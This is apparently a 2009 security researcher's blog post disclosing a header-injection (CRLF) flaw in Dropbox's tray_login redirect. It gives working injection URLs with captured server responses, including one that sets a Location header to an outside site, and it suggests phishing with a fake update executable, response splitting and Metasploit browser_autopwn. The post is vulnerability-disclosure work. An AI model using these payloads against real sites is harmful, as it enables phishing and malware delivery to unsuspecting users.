
Dropbox is a cloud-based storage application and service operated by Dropbox, Inc. The service enables users to store and sync files online and between computers and share files and folders with others. [Source: Wikipedia]
It's an amazing tool and I love it to sync my non-sensitive stuff between my computers and my iPhone. I mean, it's free, it's functional and it keeps me from carrying around data on an usb stick.
However, while I can recommend Dropbox from a usability perspective, I was quite curious, how the application would handle security issues.
When using Dropbox, you are given several possibilities to access your data. The easiest is to install the Dropbox client, which creates a Dropbox folder in your, OS-specific, Documents folder and adds some nifty context-menu extensions to allow direct interaction in order to display file changes, access data online, share stuff etc.
Now, you might have a folder of... well, anything that you want to browse on the Dropbox website instead of your own filesystem, for whatever reason. Now you go to Dropbox.com, log in, browse to the folder and there you are. Or: You just rightclick on that folder, select "Browse on Dropbox website", get your existing session converted to a websession which makes authentication unnecessary and, there you go.
When you chose the lazy way, this is what happens.
Your browse is opening up and a URI like the following is being opened up (Yes, the variable values have been changed to prevent people tinkering around with my Dropbox account...):
https://www.dropbox.com/tray_login?i=372832&t=1260625705&v=f1a9afcb67f2372780f3893d170de164f070cb84&url=c%2Fbrowse%2FPhotos%3Fns_id%3D711010
Or, if you replace the query fields by their suspected content:
https://www.dropbox.com/tray_login?i={Dropbox ID}&t={Timestamp}&v={Verification String}&url={Whatever Directory you want to access}
This is what your browser does. It's sending some authentication data along with a timestamp and the directory you want to see. Now the server processes this data and - if you're lucky enough to get authenticated - you will get back a HTTP/302 reply, which sets the necessary cookies to get an authenticated session in your browser and redirects you using the Location: Header and the value of the "uri" Parameter your client submitted.
HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 13:48:26 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: lid=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumjar=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: taste=YADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: jar=YADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: touch=YADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumlid=YADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
location: /c/browse/Photos?ns_id=711010
pragma: no-cache
cache-control: no-cache
Content-length: 324
<html>
<head><title>Found</title></head>
<body>
<h1>Found</h1>
<p>The resource was found at <a href="/c/browse/Photos?ns_id=711010">/c/browse/Photos?ns_id=711010</a>;
you should be redirected automatically.
</p>
<hr noshade>
<div align="right">WSGI Server</div>
</body>
</html>
Wait. It uses the "uri" parameter in a HTTP header? Oh, okay. That's... interesting. Let's try something:
https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aX-AllYourBase:%20Are%20belong%20to%20us
Now let's just fire up WebScarab and see what we get here...
HTTP/1.1 302 FOUND Server: nginx/0.7.63 Date: Sat, 12 Dec 2009 14:04:52 GMT Content-Type: text/html; charset=utf-8 X-Transfer-Encoding: chunked Connection: keep-alive set-cookie: frmtry=MQ%3D%3D; Path=/; httponly location: /Whatever *X-AllYourBase: Are belong to us* pragma: no-cache cache-control: no-cache Content-length: 348
Oh. They don't validate the uri parameter then. We can inject our own headers. Lucky for us, the vulnerable parameter is appended to the "location:" header line, so if we append another one of those, most browsers will resort to use the last one.
https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aLocation:%20http://www.scip.ch HTTP/1.1 302 FOUND Server: nginx/0.7.63 Date: Sat, 12 Dec 2009 14:10:50 GMT Content-Type: text/html; charset=utf-8 X-Transfer-Encoding: chunked Connection: keep-alive set-cookie: frmtry=MQ%3D%3D; Path=/; httponly location: /Whatever Location: http://www.scip.ch pragma: no-cache cache-control: no-cache Content-length: 342
You click on a http://www.dropbox.com/... link and end up on our corporate website. Nice. We could try to redirect people to http://whateveryoulike.tld/dropbox_update.exe instead, which would fit nicely in a phishing attack.
Or, we could inject something completely else... like initiating a HTTP Response Splitting attack by injecting another HTTP response header with status code 200 and some nifty javascript magic or Metasploits good old browser_autopwn to work. Use your imagination ;).
Dropbox has been informed about this issue and will hopefully patch their servers soon in order to prevent you from being redirected to your next favourite ZeuS tracker ;).
While I was researching this issue, Nathan Hamiel came up with a rather similar issue: The enumeration of Dropbox user accounts using sequential account numbers for public file paths. You should check out his article here.